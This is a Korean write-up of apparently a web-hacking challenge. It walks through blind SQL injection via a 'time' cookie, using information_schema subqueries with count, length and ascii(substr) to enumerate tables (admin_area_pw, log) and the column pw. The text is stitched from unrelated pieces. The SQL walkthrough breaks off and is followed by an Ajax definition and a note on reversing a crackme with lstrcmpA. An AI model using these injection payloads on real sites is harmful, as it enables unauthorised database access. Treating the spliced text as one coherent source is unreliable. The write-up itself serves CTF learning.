페이지 소스보기를 통해 현재 시간이 주석처리 되어있다는 것과, admin.php 페이지가 있다는 것을 알 수 있었다.
~/admin.php 화면
admin.php 화면에서는 password를 입력하는 창이 나온다.
아마도 여기에 정답을 입력하는 것 같았다.
많은 값을 넣었을 때 'wrong password'라는 팝업창이 떴고 아무런 힌트가 될 만 한것들이 없었다.
cookie 값 확인
cookie 값을 확인해보았다.
Time이라는 이름의 cookie가 있었고, 해당 값이 들어가있다는 것이 확인되었다.
cookie 값을 변경해보았다.
1로 변경결과
time 값을 1로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:00:01 로 바뀌는 것을 볼 수 있었다.
100으로 변경결과
time 값을 100으로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:01:40 로 바뀌는 것을 볼 수 있었다.
이를 통해 time 쿠키 값이 저 날짜의 초 단위로 변경되어 들어간다는 것을 알 수 있었고,
여기에 SQL 공격을 통해 이 문제에 대한 힌트를 얻어야겠다고 생각했다.
최종적으로 Password를 구해야하므로 이 서버의 데이터베이스를 건드려보자는 생각이 들었다.
① 우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용한다.
time = (select count(table_name) from information_schema.tables where table_schema=database());
--> information_schema.tables에서 table_schema가 database() 인 table_name의 개수를 출력하라
※ INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.
위 쿼리를 time 쿠키에 넣은 결과
09:00:02 이므로 테이블 개수는 2개임을 알 수 있다.
② 전체 두 개의 테이블 중 첫 번째 테이블의 이름 길이를 확인하기 위해 length와 limit 명령어를 사용한다.
time = (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);
# limit 0,1 = 첫 번째 부터 1개
첫 번째 테이블 명 길이
09:00:13 이므로 첫 번째 테이블 명의 길이는 13임을 알 수 있다.
③ 같은 방법으로 두 번째 테이블 명의 길이를 확인해본다.
time = (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1);
두 번째 테이블 명 길이
09:00:03 이므로 두 번째 테이블 명의 길이는 3임을 알 수 있다.
④ 이제 길이를 알았으니 첫 번째 테이블부터 이름을 유추해볼 것이다.
첫 번째 테이블의 이름을 확인하기 위해 ascii와 substr 명령어를 사용한다.
time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1);
+) substr = 문자열 일부 추출
→ substr(store_name, 3) : 3번째 자리의 값부터 추출
→ substr(store_name, 2, 4) : 2번째 자리의 값부터 4개의 값 추출
+) ascii = 받은 인자값을 아스키 코드값으로 변환해주는 함수
첫 번째 테이블의 첫 번째 아스키 값
09:01:37이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'a' 임을 유추할 수 있다.
(10진수 97 → 아스키 값 'a')
동일한 방식으로 (table_name, 1~13, 1)으로 확인한 결과
첫 번째 테이블 이름은 admin_area_pw 임을 알게 되었다.
⑤ 이제 두 번째 테이블의 이름을 확인해본다. 3글자니까 빠르게 끝날 것이다.
time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1);
두 번째 테이블의 첫 번째 아스키 값
09:01:48이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'l' 임을 유추할 수 있다.
(10진수 108 → 아스키 값 'l')
동일한 방식으로 (table_name, 1~3, 1)으로 확인한 결과
두 번째 테이블 이름은 log임을 알게 되었다.
⑥ 이제 첫 번째 테이블(admin_area_pw) 테이블에서 컬럼이 몇 개인지 확인한다.
time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");
첫 번째 테이블의 컬럼 개수
09:00:01 이므로 컬럼 개수는 1개임을 알 수 있다.
⑦ 컬럼의 문자열 길이를 확인한다.
time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");
첫 번째 테이블의 컬럼이름의 길이
09:00:02 이므로 컬럼명은 2글자임을 알 수 있다.
⑧ 컬럼의 첫 번째 문자열을 확인한다.
time=(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw");
컬럼의 첫번째 글자
09:01:52이므로 첫 번째 테이블의 컬럼명의 첫 번째 글자는 'p' 임을 유추할 수 있다.
(10진수 112 → 아스키 값 'p')
위와 같은 방법으로 두 번째 문자열을 확인한 결과, 'w' 였다.
즉, 'admin_area_pw' 테이블의 컬럼은 하나 존재하며, 그 컬럼의 이름은 'pw'이다. 라는 것 까지 유추해 낸 것이다.
Examples에서 예시 하나를 복사해온다. (나중에 사용할 API 가이드에 맞춰서 수정할 예정)
Ajax
:: JavaScript의 라이브러리중 하나이며 Asynchronous Javascript And Xml(비동기식 자바스크립트와xml)의 약자.
브라우저가 가지고 있는 XMLHttpRequest 객체를 이용해서 전체 페이지를 새로 고치지 않고도 페이지의 일부만을 위한 데이터를 로드하는 기법 (기본적으로HTTP프로토콜은 클라이언트쪽에서Request를 보내고Server쪽에서 Response를 받으면 이어졌던 연결이 끊기게 되어있음)
EP Section이 올바르게 나오고 컴파일 환경도 나오는 것을 보니 패킹이 되어있지 않은 실행파일이라고 판단했다
실행파일 실행 결과
아직 아무것도 모르는 상태이기에
Hello 라는 문자열을 적었고
예상대로 Fail 창이 떴다
결정적 힌트
코드를 쭉 내려보다가 lstrcmpA라는 함수가 보였다.
lstrcmpA 함수는 Window32 API로, 두 문자열의 대소 관계를 비교하나 일반적으로 두 문자열이 같은지 다른지를 비교할 목적으로 많이 사용한다. 단순히 문자열의 동등성 여부만 판단할 경우는 리턴값이 0인지 아닌지만 점검하며 대소 관계를 판단할 때는 리턴값의 부호를 점검하면 된다. 영문자를 비교하는 경우 대소문자도 비교하므로 대소문자 구분없이 비교하려면 CharUpper 등의 함수로 모두 대문자로 바꾼 후 비교하거나 아니면 lstrcmpi 함수를 사용해야 한다.